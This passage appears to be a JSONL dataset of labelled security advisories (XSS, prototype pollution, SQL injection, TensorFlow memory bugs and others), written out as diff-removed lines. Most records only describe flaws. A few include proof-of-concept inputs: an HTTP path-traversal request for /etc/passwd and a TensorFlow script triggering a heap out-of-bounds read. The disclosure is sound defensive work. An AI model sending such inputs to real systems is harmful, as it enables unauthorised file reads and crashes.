by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "8d28a6372794a24ba94d", "text": "SVGlib Vulnerable to XXE Attacks\n\nThe svglib package through 0.9.3 for Python allows XXE attacks via an `svg2rlg` call.", "text_raw": "SVGlib Vulnerable to XXE Attacks\n\n[Severity: CRITICAL]\n\nThe svglib package through 0.9.3 for Python allows XXE attacks via an `svg2rlg` call.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "d4fa80d3d7ed256a489c", "text": "Prototype Pollution in Dynamoose\n\n### Impact\n\nIn Dynamoose versions 2.0.0-2.6.0 there was a prototype pollution vulnerability in the internal utility method [`lib/utils/object/set.ts`](https://github.com/dynamoose/dynamoose/blob/master/lib/utils/object/set.ts). This method is used throughout the codebase for various operations throughout Dynamoose.\n\nWe have not seen any evidence of this vulnerability being exploited.\n\nWe do not believe this issue impacts v1.x.x since this method was added as part of the v2 rewrite. This vulnerability also impacts v2.x.x beta/alpha versions.\n\n### Patches\n\nv2.7.0 includes a patch for this vulnerability.\n\n### Workarounds\n\nWe are unaware of any workarounds to patch this vulnerability other than upgrading to v2.7.0 or greater.\n\n### References\n\n- Patch commit hash: 324c62b4709204955931a187362f8999805b1d8e\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* [Contact me](https://charlie.fish/contact)\n* [Read our Security Policy](https://github.com/dynamoose/dynamoose/blob/master/SECURITY.md)\n\n### Credit\n\n- GitHub CodeQL Code Scanning", "text_raw": "Prototype Pollution in Dynamoose\n\n[Severity: HIGH]\n\n### Impact\n\nIn Dynamoose versions 2.0.0-2.6.0 there was a prototype pollution vulnerability in the internal utility method [`lib/utils/object/set.ts`](https://github.com/dynamoose/dynamoose/blob/master/lib/utils/object/set.ts). This method is used throughout the codebase for various operations throughout Dynamoose.\n\nWe have not seen any evidence of this vulnerability being exploited.\n\nWe do not believe this issue impacts v1.x.x since this method was added as part of the v2 rewrite. This vulnerability also impacts v2.x.x beta/alpha versions.\n\n### Patches\n\nv2.7.0 includes a patch for this vulnerability.\n\n### Workarounds\n\nWe are unaware of any workarounds to patch this vulnerability other than upgrading to v2.7.0 or greater.\n\n### References\n\n- Patch commit hash: 324c62b4709204955931a187362f8999805b1d8e\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* [Contact me](https://charlie.fish/contact)\n* [Read our Security Policy](https://github.com/dynamoose/dynamoose/blob/master/SECURITY.md)\n\n### Credit\n\n- GitHub CodeQL Code Scanning", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-08", "split": "train"}
-{"id": "cc41681d227cdce7fb5a", "text": "SQL Injection in Cloud Native Computing Foundation Harbor\n\nCloud Native Computing Foundation Harbor prior to 1.8.6 and 1.9.3 allows SQL Injection via project quotas in the VMware Harbor Container Registry for the Pivotal Platform.", "text_raw": "SQL Injection in Cloud Native Computing Foundation Harbor\n\n[Severity: MEDIUM]\n\nCloud Native Computing Foundation Harbor prior to 1.8.6 and 1.9.3 allows SQL Injection via project quotas in the VMware Harbor Container Registry for the Pivotal Platform.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "0ceec00e5ef470bf8f9f", "text": "Use after free in CefSharp\n\nCVE-2020-16017: Use after free in site isolation\n\n- https://chromereleases.googleblog.com/2020/11/stable-channel-update-for-desktop_11.html\n- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-16017\n\nGoogle is aware of reports that exploits for CVE-2020-16013 and CVE-2020-16017 exist in the wild.", "text_raw": "Use after free in CefSharp\n\n[Severity: HIGH]\n\nCVE-2020-16017: Use after free in site isolation\n\n- https://chromereleases.googleblog.com/2020/11/stable-channel-update-for-desktop_11.html\n- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-16017\n\nGoogle is aware of reports that exploits for CVE-2020-16013 and CVE-2020-16017 exist in the wild.\n\nThere is currently little to no public information on the issue other than it has been flagged as `High` severity.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-11-27", "split": "train"}
-{"id": "c82a2254ca2f5b8b5864", "text": "Prototype Pollution in nedb\n\nThis affects all versions of package nedb. The library could be tricked into adding or modifying properties of Object.prototype using a __proto__ or constructor.prototype payload.", "text_raw": "Prototype Pollution in nedb\n\n[Severity: HIGH]\n\nThis affects all versions of package nedb. The library could be tricked into adding or modifying properties of Object.prototype using a __proto__ or constructor.prototype payload.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-21", "split": "train"}
-{"id": "637d37cf8258b74ce582", "text": "Arbitrary File Read in Snyk Broker\n\nAll versions of snyk-broker before 4.80.0 are vulnerable to Arbitrary File Read. It allows arbitrary file reads for users with access to Snyk's internal network via directory traversal.", "text_raw": "Arbitrary File Read in Snyk Broker\n\n[Severity: MEDIUM]\n\nAll versions of snyk-broker before 4.80.0 are vulnerable to Arbitrary File Read. It allows arbitrary file reads for users with access to Snyk's internal network via directory traversal.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-03", "split": "train"}
-{"id": "557934af26f33837a2b3", "text": "FPE in LSH in TFLite\n\n### Impact\nAn attacker can craft a TFLite model that would trigger a division by zero error in LSH  [implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/lsh_projection.cc#L118).\n\n```cc\nint RunningSignBit(const TfLiteTensor* input, const TfLiteTensor* weight,\n                   float seed) {\n  int input_item_bytes = input->bytes / SizeOfDimension(input, 0);\n  // ...\n}\n```\n\nThere is no check that the first dimension of the input is non zero.\n\n### Patches\nWe have patched the issue in GitHub commit [0575b640091680cfb70f4dd93e70658de43b94f9](https://github.com/tensorflow/tensorflow/commit/0575b640091680cfb70f4dd93e70658de43b94f9).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick thiscommit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for  more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang of Baidu Security.", "text_raw": "FPE in LSH in TFLite\n\n[Severity: MEDIUM]\n\n### Impact\nAn attacker can craft a TFLite model that would trigger a division by zero error in LSH  [implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/lsh_projection.cc#L118).\n\n```cc\nint RunningSignBit(const TfLiteTensor* input, const TfLiteTensor* weight,\n                   float seed) {\n  int input_item_bytes = input->bytes / SizeOfDimension(input, 0);\n  // ...\n}\n```\n          \nThere is no check that the first dimension of the input is non zero.\n      \n### Patches\nWe have patched the issue in GitHub commit [0575b640091680cfb70f4dd93e70658de43b94f9](https://github.com/tensorflow/tensorflow/commit/0575b640091680cfb70f4dd93e70658de43b94f9).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick thiscommit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for  more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang of Baidu Security.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "eeefb941829f2012f3cf", "text": "Regular Expression Denial of Service (ReDoS) in Jinja2\n\nThis affects the package jinja2 from 0.0.0 and before 2.11.3. The ReDOS vulnerability of the regex is mainly due to the sub-pattern [a-zA-Z0-9._-]+.[a-zA-Z0-9._-]+ This issue can be mitigated by Markdown to format user content instead of the urlize filter, or by implementing request timeouts and limiting process memory.", "text_raw": "Regular Expression Denial of Service (ReDoS) in Jinja2\n\n[Severity: MEDIUM]\n\nThis affects the package jinja2 from 0.0.0 and before 2.11.3. The ReDOS vulnerability of the regex is mainly due to the sub-pattern [a-zA-Z0-9._-]+.[a-zA-Z0-9._-]+ This issue can be mitigated by Markdown to format user content instead of the urlize filter, or by implementing request timeouts and limiting process memory.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-19", "split": "train"}
-{"id": "c302acc19d518bdf004a", "text": "HomeAutomation v3.3.2 Stored and Reflected XSS", "text_raw": "HomeAutomation v3.3.2 Stored and Reflected XSS\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-12-29", "split": "train"}
-{"id": "0d5297a8fdee45090270", "text": "Ivanti Pulse Connect Secure and Policy Secure Command Injection Vulnerability\n\nAffected: Ivanti Pulse Connect Secure and Pulse Policy Secure\n\nIvanti Pulse Connect Secure and Policy Secure allows an authenticated attacker from the admin web interface to inject and execute commands.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Ivanti Pulse Connect Secure and Policy Secure Command Injection Vulnerability\n\nAffected: Ivanti Pulse Connect Secure and Pulse Policy Secure\n\nIvanti Pulse Connect Secure and Policy Secure allows an authenticated attacker from the admin web interface to inject and execute commands.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "045b603dd52fcac134cc", "text": "Cross-Site Scripting\n\nDjango-Rest-Framework, before 3.9.1, has a XSS vulnerability caused by disabled autoescaping in the default DRF Browsable API view templates.", "text_raw": "Cross-Site Scripting\n\n[Severity: MEDIUM]\n\nDjango-Rest-Framework, before 3.9.1, has a XSS vulnerability caused by disabled autoescaping in the default DRF Browsable API view templates.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-02-24", "split": "train"}
-{"id": "c4cae46fbb349a7e42b8", "text": "Ubisoft Uplay 5.0 Insecure File Permissions Local Privilege Escalation", "text_raw": "Ubisoft Uplay 5.0 Insecure File Permissions Local Privilege Escalation\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2015-02-25", "split": "train"}
-{"id": "19cf1fd1ed1c2cfb7ac6", "text": "Privilege Escalation due to Blind NoSQL Injection in flintcms\n\nVersions of `flintcms` before version 1.1.10 are vulnerable to account takeover due to blind MongoDB injection in the password reset.\n\n## Recommendation\n\nUpdate to version 1.1.10 or later.", "text_raw": "Privilege Escalation due to Blind NoSQL Injection in flintcms\n\n[Severity: CRITICAL]\n\nVersions of `flintcms` before version 1.1.10 are vulnerable to account takeover due to blind MongoDB injection in the password reset.\n\n\n## Recommendation\n\nUpdate to version 1.1.10 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-08-21", "split": "train"}
-{"id": "e6d6570a80035b3ebb85", "text": "Code injection in Danijar Definitions\n\nThere is a vulnerability in `load()` method in definitions/parser.py in the Danijar Hafner definitions package for Python. It can execute arbitrary python commands resulting in command execution.", "text_raw": "Code injection in Danijar Definitions\n\n[Severity: HIGH]\n\nThere is a vulnerability in `load()` method in definitions/parser.py in the Danijar Hafner definitions package for Python. It can execute arbitrary python commands resulting in command execution.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-12-26", "split": "train"}
-{"id": "918f7014189c49a38765", "text": "Cross-Site Scripting in simditor\n\nVersions of `simditor` prior to 2.3.22 are vulnerable to Cross-Site Scripting. The package does not sanitize user input that is rendered with `innerHTML`, allowing attackers to execute arbitrary JavaScript.\n\n## Recommendation\n\nUpgrade to version 2.3.22 or later.", "text_raw": "Cross-Site Scripting in simditor\n\n[Severity: MEDIUM]\n\nVersions of `simditor` prior to 2.3.22 are vulnerable to Cross-Site Scripting. The package does not sanitize user input that is rendered with `innerHTML`, allowing attackers to execute arbitrary JavaScript.\n\n\n## Recommendation\n\nUpgrade to version 2.3.22 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-05-14", "split": "train"}
-{"id": "d6dcb3d2aa8145503477", "text": "All-Dynamics Software enlogic:show Digital Signage System 2.0.2 CSRF Add Admin", "text_raw": "All-Dynamics Software enlogic:show Digital Signage System 2.0.2 CSRF Add Admin\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2020-07-31", "split": "train"}
-{"id": "fdcd3a1aebecd4c0b03c", "text": "Division by zero in TFLite's implementation of `EmbeddingLookup`\n\nThe implementation of the `EmbeddingLookup` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/e4b29809543b250bc9b19678ec4776299dd569ba/tensorflow/lite/kernels/embedding_lookup.cc#L73-L74):\n\n```cc\nconst int row_size = SizeOfDimension(value, 0);\nconst int row_bytes = value->bytes / row_size;\n```\n\nAn attacker can craft a model such that the first dimension of the `value` input is 0.\n\n### Patches\nWe have patched the issue in GitHub commit [f61c57bd425878be108ec787f4d96390579fb83e](https://github.com/tensorflow/tensorflow/commit/f61c57bd425878be108ec787f4d96390579fb83e).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Division by zero in TFLite's implementation of `EmbeddingLookup`\n\n[Severity: LOW]\n\nThe implementation of the `EmbeddingLookup` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/e4b29809543b250bc9b19678ec4776299dd569ba/tensorflow/lite/kernels/embedding_lookup.cc#L73-L74):\n\n```cc\nconst int row_size = SizeOfDimension(value, 0);\nconst int row_bytes = value->bytes / row_size;\n```\n\nAn attacker can craft a model such that the first dimension of the `value` input is 0.\n\n### Patches\nWe have patched the issue in GitHub commit [f61c57bd425878be108ec787f4d96390579fb83e](https://github.com/tensorflow/tensorflow/commit/f61c57bd425878be108ec787f4d96390579fb83e).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "656f00aaafb2a9bcddd7", "text": "Directory Traversal in yzt\n\nAffected versions of `yzt` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in yzt\n\n[Severity: HIGH]\n\nAffected versions of `yzt` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "11d1e560788fbce8671a", "text": "Cross-site scripting in ThinkAdmin\n\nThinkAdmin version v6 has a stored XSS vulnerability which allows remote attackers to inject an arbitrary web script or HTML.", "text_raw": "Cross-site scripting in ThinkAdmin\n\n[Severity: MEDIUM]\n\nThinkAdmin version v6 has a stored XSS vulnerability which allows remote attackers to inject an arbitrary web script or HTML.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "6e345a56237ec8dfca54", "text": "Cross-site scripting in forkcms\n\nFork CMS Content Management System v5.8.0 was discovered to contain a cross-site scripting (XSS) vulnerability in the `Displayname` field when using the `Add`, `Edit` or `Register' functions. This vulnerability allows attackers to execute arbitrary web scripts or HTML.", "text_raw": "Cross-site scripting in forkcms\n\n[Severity: MEDIUM]\n\nFork CMS Content Management System v5.8.0 was discovered to contain a cross-site scripting (XSS) vulnerability in the `Displayname` field when using the `Add`, `Edit` or `Register' functions. This vulnerability allows attackers to execute arbitrary web scripts or HTML.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-25", "split": "train"}
-{"id": "83a11038f2baf780b55c", "text": "Heap OOB read in `tf.raw_ops.Dequantize`\n\n### Impact\nDue to lack of validation in `tf.raw_ops.Dequantize`, an attacker can trigger a read from outside of bounds of heap allocated data:\n\n```python\nimport tensorflow as tf\n\ninput_tensor=tf.constant(\n  [75, 75, 75, 75, -6, -9, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\\\n  -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\\\n  -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\\\n  -10, -10, -10, -10], shape=[5, 10], dtype=tf.int32)\ninput_tensor=tf.cast(input_tensor, dtype=tf.quint8)\nmin_range = tf.constant([-10], shape=[1], dtype=tf.float32)\nmax_range = tf.constant([24, 758, 758, 758, 758], shape=[5], dtype=tf.float32)\n\ntf.raw_ops.Dequantize( \n  input=input_tensor, min_range=min_range, max_range=max_range, mode='SCALED',\n  narrow_range=True, axis=0, dtype=tf.dtypes.float32)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/26003593aa94b1742f34dc22ce88a1e17776a67d/tensorflow/core/kernels/dequantize_op.cc#L106-L131) accesses the `min_range` and `max_range` tensors in parallel but fails to check that they have the same shape:\n\n```cc\nif (num_slices == 1) {\n  const float min_range = input_min_tensor.flat<float>()(0);\n  const float max_range = input_max_tensor.flat<float>()(0);\n  DequantizeTensor(ctx, input, min_range, max_range, &float_output);\n} else {\n  ...\n  auto min_ranges = input_min_tensor.vec<float>();\n  auto max_ranges = input_max_tensor.vec<float>();\n  for (int i = 0; i < num_slices; ++i) {\n    DequantizeSlice(ctx->eigen_device<Device>(), ctx,\n                    input_tensor.template chip<1>(i), min_ranges(i),\n                    max_ranges(i), output_tensor.template chip<1>(i));\n    ...\n  }\n}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [5899741d0421391ca878da47907b1452f06aaf1b](https://github.com/tensorflow/tensorflow/commit/5899741d0421391ca878da47907b1452f06aaf1b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Heap OOB read in `tf.raw_ops.Dequantize`\n\n[Severity: LOW]\n\n### Impact\nDue to lack of validation in `tf.raw_ops.Dequantize`, an attacker can trigger a read from outside of bounds of heap allocated data:\n\n```python\nimport tensorflow as tf\n\ninput_tensor=tf.constant(\n  [75, 75, 75, 75, -6, -9, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\\\n  -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\\\n  -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\\\n  -10, -10, -10, -10], shape=[5, 10], dtype=tf.int32)\ninput_tensor=tf.cast(input_tensor, dtype=tf.quint8)\nmin_range = tf.constant([-10], shape=[1], dtype=tf.float32)\nmax_range = tf.constant([24, 758, 758, 758, 758], shape=[5], dtype=tf.float32)\n  \ntf.raw_ops.Dequantize( \n  input=input_tensor, min_range=min_range, max_range=max_range, mode='SCALED',\n  narrow_range=True, axis=0, dtype=tf.dtypes.float32)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/26003593aa94b1742f34dc22ce88a1e17776a67d/tensorflow/core/kernels/dequantize_op.cc#L106-L131) accesses the `min_range` and `max_range` tensors in parallel but fails to check that they have the same shape:\n\n```cc\nif (num_slices == 1) {\n  const float min_range = input_min_tensor.flat<float>()(0);\n  const float max_range = input_max_tensor.flat<float>()(0);\n  DequantizeTensor(ctx, input, min_range, max_range, &float_output);\n} else {\n  ...\n  auto min_ranges = input_min_tensor.vec<float>();\n  auto max_ranges = input_max_tensor.vec<float>();\n  for (int i = 0; i < num_slices; ++i) {\n    DequantizeSlice(ctx->eigen_device<Device>(), ctx,\n                    input_tensor.template chip<1>(i), min_ranges(i),\n                    max_ranges(i), output_tensor.template chip<1>(i));\n    ...\n  }\n}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [5899741d0421391ca878da47907b1452f06aaf1b](https://github.com/tensorflow/tensorflow/commit/5899741d0421391ca878da47907b1452f06aaf1b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "c8fa0295a77fd8f30aa3", "text": "OMERO.web exposes some unnecessary session information in the page\n\n### Background\nOMERO.web loads various information about the current user such as their id, name and the groups they are in, and these are available on the main webclient pages. Some additional information being loaded is not used by the webclient and is being removed in this release.\n\n### Impact\nOMERO.web before 5.9.0\n\n### Patches\n5.9.0\n\n### Workarounds\nNo workaround\n\n### References\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [omero-web](https://github.com/ome/omero-web)\n* Email us at [security](mailto:security@openmicroscopy.org.uk)", "text_raw": "OMERO.web exposes some unnecessary session information in the page\n\n[Severity: HIGH]\n\n### Background\nOMERO.web loads various information about the current user such as their id, name and the groups they are in, and these are available on the main webclient pages. Some additional information being loaded is not used by the webclient and is being removed in this release.\n\n### Impact\nOMERO.web before 5.9.0\n\n### Patches\n5.9.0\n\n### Workarounds\nNo workaround\n\n### References\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [omero-web](https://github.com/ome/omero-web)\n* Email us at [security](mailto:security@openmicroscopy.org.uk)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-23", "split": "train"}
-{"id": "b1fb287bfffae669ea23", "text": "Prototype pollution in @tsed/core\n\nThis affects the package @tsed/core before 5.65.7. This vulnerability relates to the `deepExtend` function which is used as part of the utils directory. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.", "text_raw": "Prototype pollution in @tsed/core\n\n[Severity: MEDIUM]\n\nThis affects the package @tsed/core before 5.65.7. This vulnerability relates to the `deepExtend` function which is used as part of the utils directory. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "89bed83875597703894d", "text": "Downloads Resources over HTTP in js-given\n\nAffected versions of `js-given` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `js-given`.\n\n## Recommendation\n\nUpdate to version 0.0.18 or later.", "text_raw": "Downloads Resources over HTTP in js-given\n\n[Severity: HIGH]\n\nAffected versions of `js-given` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `js-given`.\n\n\n## Recommendation\n\nUpdate to version 0.0.18 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "628a0b811746c20d7b46", "text": "RCE in Symfony\n\nDescription\n-----------\n\nThe `CachingHttpClient` class from the HttpClient Symfony component relies on the `HttpCache` class to handle requests. `HttpCache` uses internal headers like `X-Body-Eval` and `X-Body-File` to control the restoration of cached responses. The class was initially written with surrogate caching and ESI support in mind (all HTTP calls come from a trusted backend in that scenario). But when used by `CachingHttpClient` and if an attacker can control the response for a request being made by the `CachingHttpClient`, remote code execution is possible.\n\nResolution\n----------\n\nHTTP headers designed for internal use in `HttpCache` are now stripped from remote responses before being passed to `HttpCache`.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/d9910e0b33a2e0f993abff41c6fbc86951b66d78) for the 4.4 branch.\n\nCredits\n-------\n\nI would like to thank Matthias Pigulla (webfactory GmbH) for reporting and fixing the issue.", "text_raw": "RCE in Symfony\n\n[Severity: HIGH]\n\nDescription\n-----------\n\nThe `CachingHttpClient` class from the HttpClient Symfony component relies on the `HttpCache` class to handle requests. `HttpCache` uses internal headers like `X-Body-Eval` and `X-Body-File` to control the restoration of cached responses. The class was initially written with surrogate caching and ESI support in mind (all HTTP calls come from a trusted backend in that scenario). But when used by `CachingHttpClient` and if an attacker can control the response for a request being made by the `CachingHttpClient`, remote code execution is possible.\n\nResolution\n----------\n\nHTTP headers designed for internal use in `HttpCache` are now stripped from remote responses before being passed to `HttpCache`.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/d9910e0b33a2e0f993abff41c6fbc86951b66d78) for the 4.4 branch.\n\nCredits\n-------\n\nI would like to thank Matthias Pigulla (webfactory GmbH) for reporting and fixing the issue.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "4d37c27df76752786872", "text": "Integer Overflow or Wraparound and Use of a Broken or Risky Cryptographic Algorithm in bcrypt\n\nIn bcrypt (npm package) before version 5.0.0, data is truncated wrong when its length is greater than 255 bytes.", "text_raw": "Integer Overflow or Wraparound and Use of a Broken or Risky Cryptographic Algorithm in bcrypt\n\n[Severity: MEDIUM]\n\nIn bcrypt (npm package) before version 5.0.0, data is truncated wrong when its length is greater than 255 bytes.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-20", "split": "train"}
-{"id": "44b27f08db70d96d882b", "text": "Improper Input Validation in jackson-databind\n\nA Polymorphic Typing issue was discovered in FasterXML jackson-databind before 2.9.10 and 2.8.11.5. It is related to net.sf.ehcache.hibernate.EhcacheJtaTransactionManagerLookup.", "text_raw": "Improper Input Validation in jackson-databind\n\n[Severity: CRITICAL]\n\nA Polymorphic Typing issue was discovered in FasterXML jackson-databind before 2.9.10 and 2.8.11.5. It is related to net.sf.ehcache.hibernate.EhcacheJtaTransactionManagerLookup.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-06-15", "split": "train"}
-{"id": "c6d41b35d21f01d1862b", "text": "Cross-site scripting in Sakai\n\nSakai through 12.6 allows XSS via a chat user name.", "text_raw": "Cross-site scripting in Sakai\n\n[Severity: MEDIUM]\n\nSakai through 12.6 allows XSS via a chat user name.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-09-23", "split": "train"}
-{"id": "fd2606cb7ae08e6274ad", "text": "Improper Authentication in hive:hive-exec\n\nIn Apache Hive 2.3.3, 3.1.0 and earlier, local resources on HiveServer2 machines are not properly protected against malicious user if ranger, sentry or sql standard authorizer is not in use.", "text_raw": "Improper Authentication in hive:hive-exec\n\n[Severity: HIGH]\n\nIn Apache Hive 2.3.3, 3.1.0 and earlier, local resources on HiveServer2 machines are not properly protected against malicious user if ranger, sentry or sql standard authorizer is not in use.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-21", "split": "train"}
-{"id": "6e2812a58af281701def", "text": "Prototype Pollution in simpl-schema\n\nThis affects the package simpl-schema before 1.10.2. Attacker controlled input into a schema could result in remote code execution within the scope of the surrounding application.", "text_raw": "Prototype Pollution in simpl-schema\n\n[Severity: HIGH]\n\nThis affects the package simpl-schema before 1.10.2. Attacker controlled input into a schema could result in remote code execution within the scope of the surrounding application.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "56b88867bec46d3da16d", "text": "The installation wizard in DotNetNuke (DNN) allows privilege escalation\n\nThe installation wizard in DotNetNuke (DNN) before 7.4.1 allows remote attackers to reinstall the application and gain SuperUser access via a direct request to Install/InstallWizard.aspx.", "text_raw": "The installation wizard in DotNetNuke (DNN) allows privilege escalation\n\n[Severity: CRITICAL]\n\nThe installation wizard in DotNetNuke (DNN) before 7.4.1 allows remote attackers to reinstall the application and gain SuperUser access via a direct request to Install/InstallWizard.aspx.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
